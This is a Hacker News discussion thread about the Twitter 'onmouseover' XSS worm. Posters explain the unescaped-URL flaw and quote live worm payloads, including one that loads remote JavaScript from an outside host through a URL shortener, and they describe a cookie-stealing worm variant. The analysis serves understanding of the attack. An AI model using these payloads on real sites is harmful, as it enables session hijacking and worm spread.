Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Twitter 'onmouseover' security flaw widely exploited

sophos.com

Post reply on HN
Print view View original

1–10 of 77 posts

Re: Twitter 'onmouseover' security flaw widely exploited

#4

Post by malte »

Ok, sorry if this question seems amateurish, but I don't quite understand this exploit. I went to my twitter page and it automatically posted a tweet, tried to send DMs etc. A lot of weird stuff was going on so I closed the tab immediately and looked for information on this.

Does it mean my account is somehow affected or is it just someone in my timeline who posted this exploit?

Edit: Maybe 'affected' is the wrong term. After reading the article again, I think this code just has to be in my timeline to work. Please correct me if I'm wrong.

Re: Twitter 'onmouseover' security flaw widely exploited

#5

Post by Swizec »

This is what it posts "http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT... style="color:#000;background:#000;/" class="tweet-url web" rel="nofollow" target="_blank">http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT... style="color:#000;background:#000;/"

It's not a huge security flaw, just some (this time) harmless javascript injection. What it does is it fires a mouseover event, then fills the main textarea with itself and clicks submit.

Elegant and bloody lovely.

Also very easy for twitter to fix.

Re: Twitter 'onmouseover' security flaw widely exploited

#7

Post by avar »

I got one with this content:

    http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
With the URL expanding to:

    http://is.gd/fl9A7
Which is a 301 redirect to:

    http://lexasoft.jino-net.ru/up1415.js
Which has the content:

    $('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/");
    $('.status-update-form').submit();
So at least that one does nothing more than propagate itself, but it would be really easy to write one that's more harmful to users.

Re: Twitter 'onmouseover' security flaw widely exploited

#9

Post by bl4k »

I just wrote a proof-of-concept worm that steals session cookies. It spreads by retweeting. If something like this was released it would spread like wildfire.

Reminds me of the MySpace worm that took the site down

Time to change your passwords!

(Edit: I will post the vuln code once this is patched. Atm I am playing with having the payload make Ajax queries back to Twitter :). Having shortcut functions in the page (ie. $() to grab an element), url shorteners and ability to include external JS mean that you can do almost anything in the 140 char payload.

Explainer:

The vulnerability is because URL's are not being escaped properly. For eg. the following URL is posted to Twitter:

  http://thisisatest.com/@"onmouseover="alert('test xss')"/
Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:

  http://thisisatest.com/@"onmouseover="alert('test xss')"/
You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element.

You don't have to use onmouseover. You could close the link and then insert some external javascript that can re-write your tweet to make it look innocent (or hide that entire tweet), then attach a mousemove event to the body document. This means you could propagate a worm silently and without requiring a mouseover on the actual tweet.

(edit: pretty concerned about the number of people here who think that being able to inject javascript on a site in the context of a users session is not a big deal)

Post reply on HN